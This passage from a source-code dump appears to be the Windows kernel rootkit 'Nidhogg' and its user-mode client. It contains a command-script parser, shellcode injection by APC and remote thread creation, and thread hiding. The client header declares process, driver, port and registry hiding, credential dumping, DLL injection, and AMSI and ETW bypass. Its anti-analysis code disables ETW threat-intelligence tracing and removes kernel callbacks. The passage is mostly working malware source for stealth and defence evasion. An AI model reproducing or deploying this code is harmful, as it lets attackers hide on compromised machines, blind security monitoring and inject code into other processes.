RegNtPreDeleteValueKeyHandler(REG_DELETE_VALUE_KEY_INFORMATION* info); 85 | NTSTATUS RegNtPreQueryKeyHandler(REG_QUERY_KEY_INFORMATION* info); 86 | NTSTATUS RegNtPreQueryValueKeyHandler(REG_QUERY_VALUE_KEY_INFORMATION* info); 87 | NTSTATUS RegNtPreQueryMultipleValueKeyHandler(REG_QUERY_MULTIPLE_VALUE_KEY_INFORMATION* info); 88 | NTSTATUS RegNtPreSetValueKeyHandler(REG_SET_VALUE_KEY_INFORMATION* info); 89 | NTSTATUS RegNtPostEnumerateKeyHandler(REG_POST_OPERATION_INFORMATION* info); 90 | NTSTATUS RegNtPostEnumerateValueKeyHandler(REG_POST_OPERATION_INFORMATION* info); 91 | 92 | ULONG GetProtectedKeysCount() { return this->ProtectedItems.Keys.KeysCount; } 93 | ULONG GetProtectedValuesCount() { return this->ProtectedItems.Values.ValuesCount; } 94 | ULONG GetHiddenKeysCount() { return this->HiddenItems.Keys.KeysCount; } 95 | ULONG GetHiddenValuesCount() { return this->HiddenItems.Values.ValuesCount; } 96 | }; 97 | 98 | inline RegistryUtils* NidhoggRegistryUtils; 99 | 100 | NTSTATUS OnRegistryNotify(PVOID context, PVOID arg1, PVOID arg2); 101 | -------------------------------------------------------------------------------- /Nidhogg/ScriptManager.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "ScriptManager.h" 3 | 4 | ScriptManager::ScriptManager() { 5 | for (USHORT i = 0; i < AMOUNT_OF_PARSERS; i++) { 6 | parsers[i].Handler = nullptr; 7 | } 8 | 9 | __try { 10 | parsers[(USHORT)ParserOpcode::Process] = { (USHORT)ParserOpcode::Process, new ProcessParser() }; 11 | parsers[(USHORT)ParserOpcode::Thread] = { (USHORT)ParserOpcode::Thread, new ThreadParser() }; 12 | parsers[(USHORT)ParserOpcode::Module] = { (USHORT)ParserOpcode::Module, new ModuleParser() }; 13 | parsers[(USHORT)ParserOpcode::Driver] = { (USHORT)ParserOpcode::Driver, new DriverParser() }; 14 | parsers[(USHORT)ParserOpcode::File] = { (USHORT)ParserOpcode::File, new FileParser() }; 15 | parsers[(USHORT)ParserOpcode::Reg] = { (USHORT)ParserOpcode::Reg, new RegistryParser() }; 16 | parsers[(USHORT)ParserOpcode::Patch] = { (USHORT)ParserOpcode::Patch, new PatchParser() }; 17 | parsers[(USHORT)ParserOpcode::Shinject] = { (USHORT)ParserOpcode::Shinject, new ShellcodeInjectionParser() }; 18 | parsers[(USHORT)ParserOpcode::Dllinject] = { (USHORT)ParserOpcode::Dllinject, new DllInjectionParser() }; 19 | parsers[(USHORT)ParserOpcode::Callbacks] = { (USHORT)ParserOpcode::Callbacks, new CallbacksParser() }; 20 | parsers[(USHORT)ParserOpcode::Etwti] = { (USHORT)ParserOpcode::Etwti, new EtwTiParser() }; 21 | parsers[(USHORT)ParserOpcode::Port] = { (USHORT)ParserOpcode::Port, new NetworkParser() }; 22 | } 23 | __except (EXCEPTION_EXECUTE_HANDLER) { 24 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 25 | } 26 | } 27 | 28 | ScriptManager::~ScriptManager() { 29 | for (USHORT i = 0; i < AMOUNT_OF_PARSERS; i++) { 30 | if (parsers[i].Handler) { 31 | delete parsers[i].Handler; 32 | parsers[i].Handler = nullptr; 33 | } 34 | } 35 | } 36 | 37 | /* 38 | * Description: 39 | * ExecuteScript is responsible for executing a Nidhogg script and returning the result of the execution. 40 | * 41 | * Parameters: 42 | * @Script [PUCHAR] -- Script to execute. 43 | * @ScriptSize [ULONG] -- Size of the script. 44 | * 45 | * Returns: 46 | * @status [NTSTATUS] -- Result of the script execution or error if failed. 47 | */ 48 | NTSTATUS ScriptManager::ExecuteScript(PUCHAR Script, ULONG ScriptSize) { 49 | ULONG offset = 0; 50 | NTSTATUS status = STATUS_SUCCESS; 51 | 52 | // Checking minimum size. 53 | if (ScriptSize < MINIMUM_SCRIPT_SIZE) 54 | return STATUS_INVALID_BUFFER_SIZE; 55 | 56 | // Checking signature. 57 | if (RtlCompareMemory(Script, SIGNATURE, sizeof(SIGNATURE)) != sizeof(SIGNATURE)) 58 | return STATUS_INVALID_PARAMETER; 59 | 60 | // Checking commands size. 61 | ULONG commandsSize = Script[4]; 62 | 63 | if (commandsSize == 0) 64 | return STATUS_INVALID_BUFFER_SIZE; 65 | 66 | for (ULONG i = 0; i < commandsSize; i++) { 67 | status = ExecuteCommand(Script, ScriptSize, FIRST_COMMAND_OFFSET + offset + i, &offset); 68 | 69 | if (!NT_SUCCESS(status)) 70 | break; 71 | } 72 | return status; 73 | } 74 | 75 | /* 76 | * Description: 77 | * ExecuteCommand is responsible for executing a single command from script. 78 | * 79 | * Parameters: 80 | * @data [PUCHAR] -- Script to execute. 81 | * @dataSize [ULONG] -- Size of the script. 82 | * @index [ULONG] -- Current index in the script. 83 | * @outOffset [ULONG*] -- The new offset to change the index by. 84 | * 85 | * Returns: 86 | * @status [NTSTATUS] -- Result of the script execution or error if failed. 87 | */ 88 | NTSTATUS ScriptManager::ExecuteCommand(PUCHAR data, ULONG dataSize, ULONG index, ULONG* outOffset) { 89 | USHORT commandType = data[index]; 90 | 91 | if (commandType > AMOUNT_OF_PARSERS - 1) 92 | return STATUS_INVALID_PARAMETER; 93 | 94 | *outOffset += 1; 95 | USHORT argsNumber = data[index + 1]; 96 | 97 | if (argsNumber > 0) { 98 | *outOffset += 1; 99 | argsNumber = (ParserOpcode)commandType == ParserOpcode::Patch ? argsNumber : argsNumber - 1; 100 | 101 | // offset + 2 because of the args number and the command type. 102 | return this->parsers[commandType].Handler->ExecuteCommand(argsNumber, data, dataSize, (size_t)index + 2, outOffset); 103 | } 104 | 105 | return STATUS_INVALID_PARAMETER; 106 | } -------------------------------------------------------------------------------- /Nidhogg/ScriptManager.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "Parsers.h" 4 | 5 | // NDHG signature. 6 | constexpr UCHAR SIGNATURE[] = { 0x4e, 0x44, 0x48, 0x47 }; 7 | constexpr size_t MINIMUM_SCRIPT_SIZE = sizeof(SIGNATURE) + 3; 8 | constexpr size_t FIRST_COMMAND_OFFSET = sizeof(SIGNATURE) + 1; 9 | constexpr USHORT AMOUNT_OF_PARSERS = 12; 10 | 11 | struct ScriptInformation { 12 | PVOID Script; 13 | ULONG ScriptSize; 14 | }; 15 | 16 | struct ParserItem { 17 | USHORT Opcode; 18 | BaseParser* Handler; 19 | }; 20 | 21 | class ScriptManager 22 | { 23 | private: 24 | ParserItem parsers[AMOUNT_OF_PARSERS]; 25 | NTSTATUS ExecuteCommand(PUCHAR data, ULONG dataSize, ULONG index, ULONG* outOffset); 26 | 27 | public: 28 | void* operator new(size_t size) { 29 | return AllocateMemory(size, false); 30 | } 31 | 32 | void operator delete(void* p) { 33 | if (p) 34 | ExFreePoolWithTag(p, DRIVER_TAG); 35 | } 36 | 37 | ScriptManager(); 38 | ~ScriptManager(); 39 | 40 | NTSTATUS ExecuteScript(PUCHAR Script, ULONG ScriptSize); 41 | }; 42 | 43 | -------------------------------------------------------------------------------- /Nidhogg/ShellcodeInjectionParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "ShellcodeInjectionParser.h" 3 | #include "MemoryUtils.hpp" 4 | #include "ProcessUtils.hpp" 5 | 6 | ShellcodeInjectionParser::ShellcodeInjectionParser() { 7 | this->paramsSize = nullptr; 8 | this->optionsSize = 2; 9 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata)); 10 | 11 | if (!this->options) 12 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 13 | 14 | this->paramsSize = AllocateMemory(MAX_PARAMS * sizeof(SIZE_T)); 15 | 16 | if (!this->paramsSize) { 17 | ExFreePoolWithTag(this->options, DRIVER_TAG); 18 | this->options = nullptr; 19 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 20 | } 21 | 22 | this->options[0] = { Options::APC, { 6, { ArgType::ULong, ArgType::VoidPtr, ArgType::ULong, 23 | ArgType::VoidPtr, ArgType::VoidPtr, ArgType::VoidPtr } } }; 24 | this->options[1] = { Options::Thread, { 6, { ArgType::ULong, ArgType::VoidPtr, 25 | ArgType::ULong, ArgType::VoidPtr, ArgType::VoidPtr, ArgType::VoidPtr } } }; 26 | } 27 | 28 | ShellcodeInjectionParser::~ShellcodeInjectionParser() { 29 | if (this->paramsSize) { 30 | ExFreePoolWithTag(this->paramsSize, DRIVER_TAG); 31 | this->paramsSize = nullptr; 32 | } 33 | } 34 | 35 | /* 36 | * Description: 37 | * Execute is responsible for executing a command and returning its value. 38 | * 39 | * Parameters: 40 | * @commandId [Options] -- Command to run. 41 | * @args [PVOID*] -- Array of args to send to the command. 42 | * 43 | * Returns: 44 | * @status [NTSTATUS] -- Result of the command. 45 | */ 46 | NTSTATUS ShellcodeInjectionParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 47 | ShellcodeInformation shellcodeInfo{}; 48 | NTSTATUS status = STATUS_SUCCESS; 49 | 50 | shellcodeInfo.Pid = *(ULONG*)args[0]; 51 | 52 | if (!IsValidPid(shellcodeInfo.Pid)) 53 | return STATUS_INVALID_PARAMETER; 54 | 55 | shellcodeInfo.Shellcode = args[1]; 56 | shellcodeInfo.ShellcodeSize = (ULONG)this->paramsSize[0]; 57 | 58 | if (args[2]) { 59 | shellcodeInfo.Parameter1 = args[2]; 60 | shellcodeInfo.Parameter1Size = (ULONG)this->paramsSize[1]; 61 | 62 | if (args[3]) { 63 | shellcodeInfo.Parameter2 = args[3]; 64 | shellcodeInfo.Parameter2Size = (ULONG)this->paramsSize[2]; 65 | 66 | if (args[4]) { 67 | shellcodeInfo.Parameter3 = args[4]; 68 | shellcodeInfo.Parameter3Size = (ULONG)this->paramsSize[3]; 69 | } 70 | } 71 | } 72 | 73 | switch (commandId) { 74 | case Options::APC: 75 | { 76 | shellcodeInfo.Type = APCInjection; 77 | 78 | if (!Features.ApcInjection) { 79 | status = STATUS_UNSUCCESSFUL; 80 | break; 81 | } 82 | 83 | status = NidhoggMemoryUtils->InjectShellcodeAPC(&shellcodeInfo); 84 | break; 85 | } 86 | case Options::Thread: 87 | { 88 | shellcodeInfo.Type = NtCreateThreadExInjection; 89 | 90 | if (!Features.CreateThreadInjection) { 91 | status = STATUS_UNSUCCESSFUL; 92 | break; 93 | } 94 | 95 | status = NidhoggMemoryUtils->InjectShellcodeThread(&shellcodeInfo); 96 | break; 97 | } 98 | default: 99 | { 100 | status = STATUS_NOT_IMPLEMENTED; 101 | break; 102 | } 103 | } 104 | 105 | return status; 106 | } 107 | 108 | /* 109 | * Description: 110 | * ParseArgs is responsible for parsing the arguments. 111 | * 112 | * Parameters: 113 | * @data [PUCHAR] -- The raw script data. 114 | * @dataSize [size_t] -- Size if the raw script data. 115 | * @index [size_t] -- Index to start parsing the args and command from. 116 | * @argsNumber [USHORT] -- Number of arguments to run. 117 | * @outOffset [ULONG*] -- Output offset to shift the index by for the next command. 118 | * @OutArgs [PVOID*] -- Output arguments. 119 | * 120 | * Returns: 121 | * @status [NTSTATUS] -- Whether the args are parsed or error. 122 | */ 123 | NTSTATUS ShellcodeInjectionParser::ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId, 124 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]) { 125 | ULONG optionIndex = 0; 126 | ULONG intArg = 0; 127 | USHORT argIndex = 0; 128 | NTSTATUS status = STATUS_SUCCESS; 129 | 130 | // Validating the opcode size. 131 | if (dataSize < index) 132 | return STATUS_INVALID_BUFFER_SIZE; 133 | 134 | if (data[index] != 1) 135 | return STATUS_INVALID_PARAMETER; 136 | 137 | if (dataSize < index + 1) 138 | return STATUS_INVALID_BUFFER_SIZE; 139 | 140 | // Check the option exists for the command type. 141 | Options option = (Options)data[index + 1]; 142 | status = STATUS_NOT_FOUND; 143 | 144 | for (optionIndex = 0; optionIndex < optionsSize; optionIndex++) { 145 | if (this->options[optionIndex].OptionOpcode == option) { 146 | status = STATUS_SUCCESS; 147 | break; 148 | } 149 | } 150 | 151 | if (!NT_SUCCESS(status)) 152 | return status; 153 | 154 | *commandId = option; 155 | 156 | if (this->options[optionIndex].ArgMetadata.ArgsNumber != argsNumber) 157 | return STATUS_INVALID_PARAMETER; 158 | 159 | // opcode size + 1 (opcode). 160 | ULONG addedOffset = 2; 161 | PVOID currentArg = NULL; 162 | ULONG argSize = 0; 163 | ULONG currentIndex = 0; 164 | 165 | for (argIndex = 0; argIndex < argsNumber; argIndex++) { 166 | currentIndex = (ULONG)index + addedOffset + argIndex; 167 | 168 | if (dataSize < currentIndex) { 169 | status = STATUS_INVALID_BUFFER_SIZE; 170 | break; 171 | } 172 | 173 | argSize = data[currentIndex]; 174 | 175 | // Validating the size. 176 | if (argSize > dataSize - currentIndex) { 177 | status = STATUS_INVALID_BUFFER_SIZE; 178 | break; 179 | } 180 | 181 | if (argIndex > 0) { 182 | this->paramsSize[argIndex - 1] = argSize; 183 | } 184 | 185 | currentArg = AllocateMemory(argSize); 186 | 187 | if (!currentArg) { 188 | status = STATUS_INSUFFICIENT_RESOURCES; 189 | break; 190 | } 191 | RtlZeroMemory(currentArg, argSize); 192 | 193 | __try { 194 | RtlCopyMemory(currentArg, &data[currentIndex + 1], argSize); 195 | } 196 | __except (EXCEPTION_EXECUTE_HANDLER) { 197 | status = STATUS_ABANDONED; 198 | break; 199 | } 200 | 201 | // Validating the type. 202 | switch (this->options[optionIndex].ArgMetadata.Types[argIndex]) { 203 | case ArgType::ULong: 204 | { 205 | for (DWORD j = 0, factor = pow(10, argSize - 1); j < argSize; j++, factor /= 10) { 206 | if (isdigit(((char*)currentArg)[j]) == 0) { 207 | status = STATUS_INVALID_PARAMETER; 208 | break; 209 | } 210 | intArg += convertDigit(((char*)currentArg)[j]) * factor; 211 | } 212 | *(ULONG*)currentArg = intArg; 213 | intArg = 0; 214 | break; 215 | } 216 | case ArgType::CharPtr: 217 | case ArgType::WCharPtr: 218 | { 219 | for (DWORD j = 0; j < argSize; j++) { 220 | if (!isChar(((char*)currentArg)[j])) { 221 | status = STATUS_INVALID_PARAMETER; 222 | break; 223 | } 224 | } 225 | break; 226 | } 227 | } 228 | 229 | if (!NT_SUCCESS(status)) 230 | break; 231 | 232 | OutArgs[argIndex] = currentArg; 233 | addedOffset += argSize; 234 | } 235 | 236 | if (!NT_SUCCESS(status)) { 237 | if (currentArg) 238 | ExFreePoolWithTag(currentArg, DRIVER_TAG); 239 | 240 | if (argIndex > 0) { 241 | for (USHORT i = 0; i < argIndex; i++) { 242 | if (OutArgs[i]) 243 | ExFreePoolWithTag(OutArgs[i], DRIVER_TAG); 244 | } 245 | } 246 | } 247 | 248 | *outOffset += addedOffset; 249 | return status; 250 | } -------------------------------------------------------------------------------- /Nidhogg/ShellcodeInjectionParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | constexpr ULONG MAX_PARAMS = 4; 6 | 7 | class ShellcodeInjectionParser : public BaseParser 8 | { 9 | private: 10 | SIZE_T* paramsSize; 11 | 12 | protected: 13 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 14 | NTSTATUS ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId, 15 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]) override; 16 | 17 | public: 18 | ShellcodeInjectionParser(); 19 | ~ShellcodeInjectionParser(); 20 | }; 21 | 22 | -------------------------------------------------------------------------------- /Nidhogg/ThreadParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "ThreadParser.h" 3 | #include "ProcessUtils.hpp" 4 | 5 | ThreadParser::ThreadParser() { 6 | this->optionsSize = 5; 7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata)); 8 | 9 | if (!this->options) 10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 11 | 12 | this->options[0] = { Options::Add, { 1, { ArgType::ULong } } }; 13 | this->options[1] = { Options::Remove, { 1, { ArgType::ULong } } }; 14 | this->options[2] = { Options::Clear, { 0, {} } }; 15 | this->options[3] = { Options::Hide, { 1, { ArgType::ULong } } }; 16 | this->options[4] = { Options::Unhide, { 1, { ArgType::ULong } } }; 17 | } 18 | 19 | /* 20 | * Description: 21 | * Execute is responsible for executing a command and returning its value. 22 | * 23 | * Parameters: 24 | * @commandId [Options] -- Command to run. 25 | * @args [PVOID*] -- Array of args to send to the command. 26 | * 27 | * Returns: 28 | * @status [NTSTATUS] -- Result of the command. 29 | */ 30 | NTSTATUS ThreadParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 31 | ULONG tid = 0; 32 | NTSTATUS status = STATUS_SUCCESS; 33 | 34 | if (commandId != Options::Clear) { 35 | tid = *(ULONG*)args[0]; 36 | 37 | if (tid == 0) 38 | return STATUS_INVALID_PARAMETER; 39 | } 40 | 41 | switch (commandId) { 42 | case Options::Add: 43 | { 44 | if (!Features.ThreadProtection) { 45 | status = STATUS_UNSUCCESSFUL; 46 | break; 47 | } 48 | 49 | if (NidhoggProccessUtils->GetProtectedThreadsCount() == MAX_TIDS) { 50 | status = STATUS_TOO_MANY_CONTEXT_IDS; 51 | break; 52 | } 53 | 54 | if (NidhoggProccessUtils->FindThread(tid)) 55 | break; 56 | 57 | if (!NidhoggProccessUtils->AddThread(tid)) 58 | status = STATUS_UNSUCCESSFUL; 59 | break; 60 | } 61 | case Options::Remove: 62 | { 63 | if (!Features.ThreadProtection) { 64 | status = STATUS_UNSUCCESSFUL; 65 | break; 66 | } 67 | 68 | if (NidhoggProccessUtils->GetProtectedThreadsCount() == 0) { 69 | status = STATUS_NOT_FOUND; 70 | break; 71 | } 72 | 73 | if (!NidhoggProccessUtils->RemoveThread(tid)) 74 | status = STATUS_NOT_FOUND; 75 | break; 76 | } 77 | case Options::Clear: 78 | { 79 | NidhoggProccessUtils->ClearProtectedThreads(); 80 | break; 81 | } 82 | case Options::Hide: 83 | { 84 | status = NidhoggProccessUtils->HideThread(tid); 85 | break; 86 | } 87 | case Options::Unhide: 88 | { 89 | status = NidhoggProccessUtils->UnhideThread(tid); 90 | break; 91 | } 92 | default: 93 | { 94 | status = STATUS_NOT_IMPLEMENTED; 95 | break; 96 | } 97 | } 98 | 99 | return status; 100 | } 101 | -------------------------------------------------------------------------------- /Nidhogg/ThreadParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | class ThreadParser : public BaseParser 6 | { 7 | protected: 8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 9 | 10 | public: 11 | ThreadParser(); 12 | }; 13 | 14 | -------------------------------------------------------------------------------- /Nidhogg/pch.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | -------------------------------------------------------------------------------- /Nidhogg/pch.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | #include "FastMutex.h" 7 | #include "AutoLock.h" 8 | 9 | #define VALID_USERMODE_MEMORY(MemAddress)(MemAddress > 0 && MemAddress < 0x7FFFFFFFFFFFFFFF) 10 | #define VALID_KERNELMODE_MEMORY(MemAddress)(MemAddress > 0x8000000000000000 && MemAddress < 0xFFFFFFFFFFFFFFFF) 11 | -------------------------------------------------------------------------------- /NidhoggClient/Nidhogg.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "Nidhogg.h" 3 | 4 | NidhoggInterface::NidhoggInterface() { 5 | this->lastError = NIDHOGG_SUCCESS; 6 | this->hNidhogg = CreateFile(DRIVER_NAME, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr); 7 | 8 | if (hNidhogg == INVALID_HANDLE_VALUE) 9 | PrintError(NIDHOGG_ERROR_CONNECT_DRIVER); 10 | } 11 | 12 | void NidhoggInterface::PrintError(NidhoggErrorCodes errorCode) { 13 | switch (errorCode) { 14 | case NIDHOGG_GENERAL_ERROR: 15 | std::cout << "[ - ] General error: " << GetLastError() << std::endl; 16 | break; 17 | case NIDHOGG_ERROR_CONNECT_DRIVER: 18 | std::cout << "[ - ] Could not connect to driver: " << GetLastError() << std::endl; 19 | break; 20 | case NIDHOGG_ERROR_DEVICECONTROL_DRIVER: 21 | std::cout << "[ - ] Failed to do operation: " << GetLastError() << std::endl; 22 | break; 23 | case NIDHOGG_INVALID_INPUT: 24 | std::cerr << "[ - ] Invalid input!" << std::endl; 25 | break; 26 | case NIDHOGG_INVALID_OPTION: 27 | std::cerr << "[ - ] Invalid option!" << std::endl; 28 | break; 29 | default: 30 | std::cout << "[ - ] Unknown error: " << GetLastError() << std::endl; 31 | break; 32 | } 33 | } 34 | 35 | NidhoggErrorCodes NidhoggInterface::ExecuteScript(BYTE* script, DWORD scriptSize) { 36 | DWORD bytesReturned; 37 | ScriptInformation scriptInfo{}; 38 | NidhoggErrorCodes errorCode = NIDHOGG_SUCCESS; 39 | 40 | if (script == nullptr || scriptSize == 0) { 41 | errorCode = NIDHOGG_INVALID_INPUT; 42 | return errorCode; 43 | } 44 | 45 | scriptInfo.Script = script; 46 | scriptInfo.ScriptSize = scriptSize; 47 | 48 | if (!DeviceIoControl(this->hNidhogg, IOCTL_EXEC_SCRIPT, &scriptInfo, sizeof(scriptInfo), nullptr, 0, 49 | &bytesReturned, nullptr)) { 50 | errorCode = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 51 | } 52 | 53 | return errorCode; 54 | } 55 | -------------------------------------------------------------------------------- /NidhoggClient/Nidhogg.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "NidhoggIoctls.h" 4 | #include "NidhoggStructs.h" 5 | 6 | constexpr ULONG SYSTEM_PID = 4; 7 | constexpr const wchar_t* DRIVER_NAME = LR"(\\.\Nidhogg)"; 8 | constexpr const wchar_t* HKLM_HIVE = LR"(\Registry\Machine)"; 9 | constexpr const wchar_t* HKCR_HIVE = LR"(\Registry\Machine\SOFTWARE\Classes)"; 10 | constexpr const wchar_t* HKU_HIVE = LR"(\Registry\User)"; 11 | constexpr const wchar_t* HKLM = L"HKEY_LOCAL_MACHINE"; 12 | constexpr const wchar_t* HKLM_SHORT = L"HKLM"; 13 | constexpr const wchar_t* HKU = L"HKEY_USERS"; 14 | constexpr const wchar_t* HKU_SHORT = L"HKU"; 15 | constexpr const wchar_t* HKCU = L"HKEY_CURRENT_USER"; 16 | constexpr const wchar_t* HKCU_SHORT = L"HKCU"; 17 | constexpr const wchar_t* HKCR = L"HKEY_CLASSES_ROOT"; 18 | constexpr const wchar_t* HKCR_SHORT = L"HKCR"; 19 | 20 | class NidhoggInterface { 21 | private: 22 | HANDLE hNidhogg; 23 | NidhoggErrorCodes lastError; 24 | 25 | std::wstring GetHKCUPath(); 26 | std::wstring ParseRegistryKey(wchar_t* key); 27 | std::wstring ParsePath(wchar_t* path); 28 | 29 | public: 30 | NidhoggInterface(); 31 | ~NidhoggInterface() { CloseHandle(this->hNidhogg); }; 32 | bool IsValid() { return this->hNidhogg != INVALID_HANDLE_VALUE; } 33 | NidhoggErrorCodes GetNidhoggLastError() { return this->lastError; } 34 | 35 | void PrintError(NidhoggErrorCodes errorCode); 36 | NidhoggErrorCodes ProcessProtect(DWORD pid); 37 | NidhoggErrorCodes ProcessUnprotect(DWORD pid); 38 | NidhoggErrorCodes ProcessClearAllProtection(); 39 | NidhoggErrorCodes ThreadProtect(DWORD tid); 40 | NidhoggErrorCodes ThreadUnprotect(DWORD tid); 41 | NidhoggErrorCodes ThreadClearAllProtection(); 42 | NidhoggErrorCodes ProcessHide(DWORD pid); 43 | NidhoggErrorCodes ProcessUnhide(DWORD pid); 44 | NidhoggErrorCodes ThreadHide(DWORD tid); 45 | NidhoggErrorCodes ThreadUnhide(DWORD tid); 46 | NidhoggErrorCodes ProcessElevate(DWORD pid); 47 | NidhoggErrorCodes ProcessSetProtection(DWORD pid, UCHAR signerType, UCHAR signatureSigner); 48 | std::vector QueryProcesses(); 49 | std::vector QueryThreads(); 50 | NidhoggErrorCodes FileProtect(wchar_t* filePath); 51 | NidhoggErrorCodes FileUnprotect(wchar_t* filePath); 52 | NidhoggErrorCodes FileClearAllProtection(); 53 | std::vector QueryFiles(); 54 | NidhoggErrorCodes RegistryProtectKey(wchar_t* key); 55 | NidhoggErrorCodes RegistryHideKey(wchar_t* key); 56 | NidhoggErrorCodes RegistryProtectValue(wchar_t* key, wchar_t* valueName); 57 | NidhoggErrorCodes RegistryHideValue(wchar_t* key, wchar_t* valueName); 58 | NidhoggErrorCodes RegistryUnprotectKey(wchar_t* key); 59 | NidhoggErrorCodes RegistryUnhideKey(wchar_t* key); 60 | NidhoggErrorCodes RegistryUnprotectValue(wchar_t* key, wchar_t* valueName); 61 | NidhoggErrorCodes RegistryUnhideValue(wchar_t* key, wchar_t* valueName); 62 | NidhoggErrorCodes RegistryClearAll(); 63 | std::vector RegistryQueryProtectedKeys(); 64 | std::vector RegistryQueryHiddenKeys(); 65 | RegistryQueryResult RegistryQueryProtectedValues(); 66 | RegistryQueryResult RegistryQueryHiddenValues(); 67 | NidhoggErrorCodes HideDriver(wchar_t* driverPath); 68 | NidhoggErrorCodes UnhideDriver(wchar_t* driverPath); 69 | std::vector DumpCredentials(DesKeyInformation* desKey, NidhoggErrorCodes* status); 70 | NidhoggErrorCodes HideModule(DWORD pid, wchar_t* modulePath); 71 | NidhoggErrorCodes InjectDll(DWORD pid, std::string dllPath, InjectionType injectionType); 72 | NidhoggErrorCodes InjectShellcode(DWORD pid, PVOID shellcode, ULONG shellcodeSize, PVOID parameter1, PVOID parameter2, 73 | PVOID parameter3, InjectionType injectionType, ULONG param1Size = 0, ULONG param2Size = 0, ULONG param3Size = 0); 74 | NidhoggErrorCodes PatchModule(DWORD pid, wchar_t* moduleName, char* functionName, std::vector patch); 75 | NidhoggErrorCodes AmsiBypass(DWORD pid); 76 | NidhoggErrorCodes ETWBypass(DWORD pid); 77 | NidhoggErrorCodes EnableDisableEtwTi(bool enable); 78 | NidhoggErrorCodes DisableCallback(ULONG64 callbackAddress, CallbackType callbackType); 79 | NidhoggErrorCodes RestoreCallback(ULONG64 callbackAddress, CallbackType callbackType); 80 | CmCallbacksList ListRegistryCallbacks(NidhoggErrorCodes* success); 81 | PsRoutinesList ListPsRoutines(CallbackType callbackType, NidhoggErrorCodes* success); 82 | ObCallbacksList ListObCallbacks(CallbackType callbackType, NidhoggErrorCodes* success); 83 | NidhoggErrorCodes HidePort(USHORT portNumber, PortType portType, bool remote); 84 | NidhoggErrorCodes UnhidePort(USHORT portNumber, PortType portType, bool remote); 85 | NidhoggErrorCodes ClearHiddenPorts(); 86 | std::vector QueryHiddenPorts(); 87 | NidhoggErrorCodes ExecuteScript(BYTE* script, DWORD scriptSize); 88 | }; 89 | -------------------------------------------------------------------------------- /NidhoggClient/NidhoggAntiAnalysis.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "Nidhogg.h" 3 | 4 | NidhoggErrorCodes NidhoggInterface::EnableDisableEtwTi(bool enable) { 5 | DWORD returned; 6 | 7 | if (!DeviceIoControl(this->hNidhogg, IOCTL_ENABLE_DISABLE_ETWTI, 8 | &enable, sizeof(enable), 9 | nullptr, 0, &returned, nullptr)) 10 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 11 | 12 | return NIDHOGG_SUCCESS; 13 | } 14 | 15 | NidhoggErrorCodes NidhoggInterface::DisableCallback(ULONG64 callbackAddress, CallbackType callbackType) { 16 | KernelCallback callback{}; 17 | DWORD returned; 18 | 19 | callback.CallbackAddress = callbackAddress; 20 | callback.Type = callbackType; 21 | callback.Remove = true; 22 | 23 | if (!DeviceIoControl(this->hNidhogg, IOCTL_REMOVE_RESTORE_CALLBACK, 24 | &callback, sizeof(callback), 25 | nullptr, 0, &returned, nullptr)) 26 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 27 | 28 | return NIDHOGG_SUCCESS; 29 | } 30 | 31 | NidhoggErrorCodes NidhoggInterface::RestoreCallback(ULONG64 callbackAddress, CallbackType callbackType) { 32 | KernelCallback callback{}; 33 | DWORD returned; 34 | 35 | callback.CallbackAddress = callbackAddress; 36 | callback.Type = callbackType; 37 | callback.Remove = false; 38 | 39 | if (!DeviceIoControl(this->hNidhogg, IOCTL_REMOVE_RESTORE_CALLBACK, 40 | &callback, sizeof(callback), 41 | nullptr, 0, &returned, nullptr)) 42 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 43 | 44 | return NIDHOGG_SUCCESS; 45 | } 46 | 47 | CmCallbacksList NidhoggInterface::ListRegistryCallbacks(NidhoggErrorCodes* success) { 48 | CmCallbacksList callbacks{}; 49 | DWORD returned; 50 | callbacks.Callbacks = (CmCallback*)malloc(MAX_ROUTINES * sizeof(CmCallback)); 51 | 52 | if (!callbacks.Callbacks) { 53 | *success = NIDHOGG_GENERAL_ERROR; 54 | return callbacks; 55 | } 56 | memset(callbacks.Callbacks, 0, MAX_ROUTINES * sizeof(PsRoutine)); 57 | 58 | if (!DeviceIoControl(this->hNidhogg, IOCTL_LIST_REGCALLBACKS, 59 | &callbacks, sizeof(callbacks), 60 | &callbacks, sizeof(callbacks), &returned, nullptr)) { 61 | *success = NIDHOGG_ERROR_DEVICECONTROL_DRIVER; 62 | free(callbacks.Callbacks); 63 | return callbacks; 64 | } 65 | *success = NIDHOGG_SUCCESS; 66 | return callbacks; 67 | } 68 | 69 | PsRoutinesList NidhoggInterface::ListPsRoutines(CallbackType callbackType, 